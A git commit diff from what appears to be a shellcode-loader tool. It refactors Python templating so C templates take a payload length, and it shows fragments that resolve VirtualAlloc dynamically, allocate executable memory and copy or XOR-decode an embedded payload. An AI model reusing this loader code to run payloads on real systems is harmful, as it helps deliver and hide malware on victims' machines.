refactor: use PAYLOAD_LEN in template instead of 0x11223344 in asm

This commit is contained in:
Dobin
2024-02-18 19:52:50 +00:00
parent 92e9b51409
commit 9b71cdd481
5 changed files with 11 additions and 13 deletions
-7
View File
@@ -98,13 +98,6 @@ def fixup_asm_file(filename: FilePath, payload_len: int, short_call_patching: bo
"[shcstart]"
)
# replace payload length
for idx, line in enumerate(lines):
if "11223344" in lines[idx]:
logger.info(" > Replace payload length at line: {}".format(idx))
lines[idx] = lines[idx].replace("11223344", str(payload_len))
break
# add label at end of code
for idx, line in enumerate(lines):
if lines[idx].startswith("END"):
+5
View File
@@ -39,6 +39,9 @@ def create_c_from_template(
filepath = "plugins/decoder/{}.c".format(decoder_style.value)
with open(filepath, "r", encoding='utf-8') as file:
plugin_decoder = file.read()
plugin_decoder = Template(plugin_decoder).render({
'PAYLOAD_LEN': payload_len,
})
filepath = "plugins/executor/{}.c".format(exec_style.value)
with open("plugins/executor/direct_1.c", "r", encoding='utf-8') as file:
@@ -55,6 +58,7 @@ def create_c_from_template(
'plugin_allocator': plugin_allocator,
'plugin_decoder': plugin_decoder,
'plugin_executor': plugin_executor,
'PAYLOAD_LEN': payload_len,
})
with open(main_c_file, "w", encoding='utf-8') as file:
file.write(rendered_template)
@@ -78,6 +82,7 @@ def create_c_from_template(
'plugin_allocator': plugin_allocator,
'plugin_decoder': plugin_decoder,
'plugin_executor': plugin_executor,
'PAYLOAD_LEN': payload_len,
})
with open(main_c_file, "w", encoding='utf-8') as file:
file.write(rendered_template)
+1 -1
View File
@@ -1,3 +1,3 @@
for (int n=0; n<11223344; n++) {
for (int n=0; n<{{PAYLOAD_LEN}}; n++) {
dest[n] = supermega_payload[n];
}
+1 -1
View File
@@ -1,4 +1,4 @@
for (int n=0; n<11223344; n++){
for (int n=0; n<{{PAYLOAD_LEN}}; n++){
dest[n] = supermega_payload[n];
dest[n] = dest[n] ^ 0x42;
}
+2 -2
View File
@@ -84,10 +84,10 @@ int main()
_In_ DWORD flAllocationType,
_In_ DWORD flProtect)) _GetProcAddress((HMODULE)base, VirtualAlloc_str);
if (_VirtualAlloc == NULL) return 4;
char *dest = _VirtualAlloc(NULL, 4096, 0x3000, 0x40);
char *dest = _VirtualAlloc(NULL, {{PAYLOAD_LEN}}, 0x3000, 0x40);
// 11223344 is a magic number which will be replaced in the asm source
// with the payload length.
for(int n=0; n<11223344; n++) {
for(int n=0; n<{{PAYLOAD_LEN}}; n++) {
dest[n] = supermega_payload[n];
}